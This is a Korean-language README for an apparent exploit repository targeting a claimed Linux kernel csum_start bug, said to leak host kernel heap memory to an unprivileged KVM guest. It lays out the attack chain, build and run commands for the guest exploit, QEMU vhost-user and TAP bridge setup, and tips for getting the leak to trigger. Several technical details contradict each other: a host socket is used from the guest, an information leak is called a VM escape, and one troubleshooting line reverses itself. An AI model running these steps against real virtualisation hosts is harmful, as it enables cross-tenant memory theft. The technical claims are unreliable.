
CVE-2026-99999 동작하는 PoC — Linux 커널 csum_start 버그에 대한 실제 VM 탈출(CVSS 9.3). 게스트에서 호스트로의 힙 누출. 참고: CVE-2026-99999-analysis (교육용).
⚠️ 이것은 실제로 동작하는 익스플로잇 저장소입니다. 실제 KVM/QEMU 환경에서 CVE-2026-99999 취약점을 트리거하는 실제 익스플로잇 코드를 포함하고 있습니다.
📚 동일한 공격 체인을 안전하게 로컬에서만 시뮬레이션하려면 **CVE-2026-99999-analysis**를 참고하세요 (root 불필요, 네트워크 불필요, 순수 Python — 랩 없이 버그를 이해하기에 적합합니다).
CVE-2026-99999 — GSO 세그멘테이션 경로에서의 Linux 커널 IPv4 csum_start 검증 버그입니다.
게스트 VM은 아웃바운드 패킷 프래그먼트당 약 32–64바이트의 호스트 커널 힙 메모리를
유출시킬 수 있습니다.
CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
영향받는 커널: 다음 수정 커밋 이전의 모든 버전:
5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+공격자 모델: KVM 게스트 VM 내부의 비특권 코드.
.
├── README.md ← This file
├── guest/
│ ├── exploit_guest.c ← Exploit (guest side)
│ ├── Makefile
│ └── README.md
└── host/
├── receive_and_dump.py ← Leak detector (host side)
└── setup_bridge.sh ← TAP bridge setup (host side)
1. GUEST: build_crafted_packet()
└── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
↑
csum_start=0 → points at IP header, NOT transport header
2. GUEST → QEMU (vhost-user)
└── Guest enqueues packet via TX virtqueue
└── QEMU reads descriptor → pulls malicious frame
3. HOST KERNEL: GSO segmentation path
└── skb_checksum_help() reads csum_start (0) and csum_offset (0)
└── Writes checksum result to byte 0 = IHL byte
4. HOST KERNEL: IHL corruption
└── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)
5. HOST KERNEL: ip_do_fragment() OOB read
└── Reads 60 bytes of "IP header" when only 20 bytes exist
└── Bytes 20-60 are adjacent host-kernel heap memory!
6. HOST: Outbound fragment
└── Each fragment contains ~32-64 bytes of host-kernel heap memory
└── Captured by receive_and_dump.py on the host bridge
# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help
필수 조건:
-netdev vhost-user,...로 시작된 QEMUmemfd 또는 tmpfs를 통해 QEMU와 공유되는 게스트 메모리# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
-m 2G -smp 2 \
-hda /path/to/guest.img \
-netdev vhost-user,id=net0,chardev=char0 \
-device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
-chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
-enable-kvm \
-nographic
# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v
요구 사항:
CAP_NET_RAWbridge-nf-call-iptables=1 (GSO 경로용)# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v
이 익스플로잇은 QEMU가 게스트의 TX virtqueue 메모리를 읽을 수 있어야 합니다. 공유 메모리가 없으면 QEMU는 디스크립터를 읽을 수 없으며, 패킷은 큐에 추가되지만 전송되지 않습니다.
테스트 시 다음 중 하나를 사용하십시오:
# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU
# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region
# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE
CVE 트리거는 호스트 커널이 GSO 세그멘테이션 경로를 통해 프레임을 처리하도록 요구합니다. 이는 다음과 같은 경우에 발생합니다:
IP_MF(More Fragments) 플래그가 설정되어 강제 단편화가 발생하는 경우익스플로잇은 GSO 세그멘테이션을 보장하기 위해 모든 패킷에 IP_MF를 설정합니다.
호스트 측 탐지기(receive_and_dump.py)는 다음을 통해 CVE-2026-99999를 식별합니다:
version_ihl & 0x0F > 5)guest/exploit_guest.c ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh ← TAP bridge setup helper script
vhost-user로 실행 중인지, 소켓이 존재하는지 확인하세요ls -la /tmp/vhost.sock-device virtio-net-pci,netdev=net0,csum=off,host_csum=off — 비활성화가 아니라 활성화하세요uname -rIP_MF 플래그가 설정되는지 확인하세요sudo 필요sudo 필요격리된 실험실 환경에서의 승인된 보안 연구 전용입니다. 소유하지 않았거나 테스트에 대한 서면 허가가 없는 시스템에 대한 무단 사용은 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.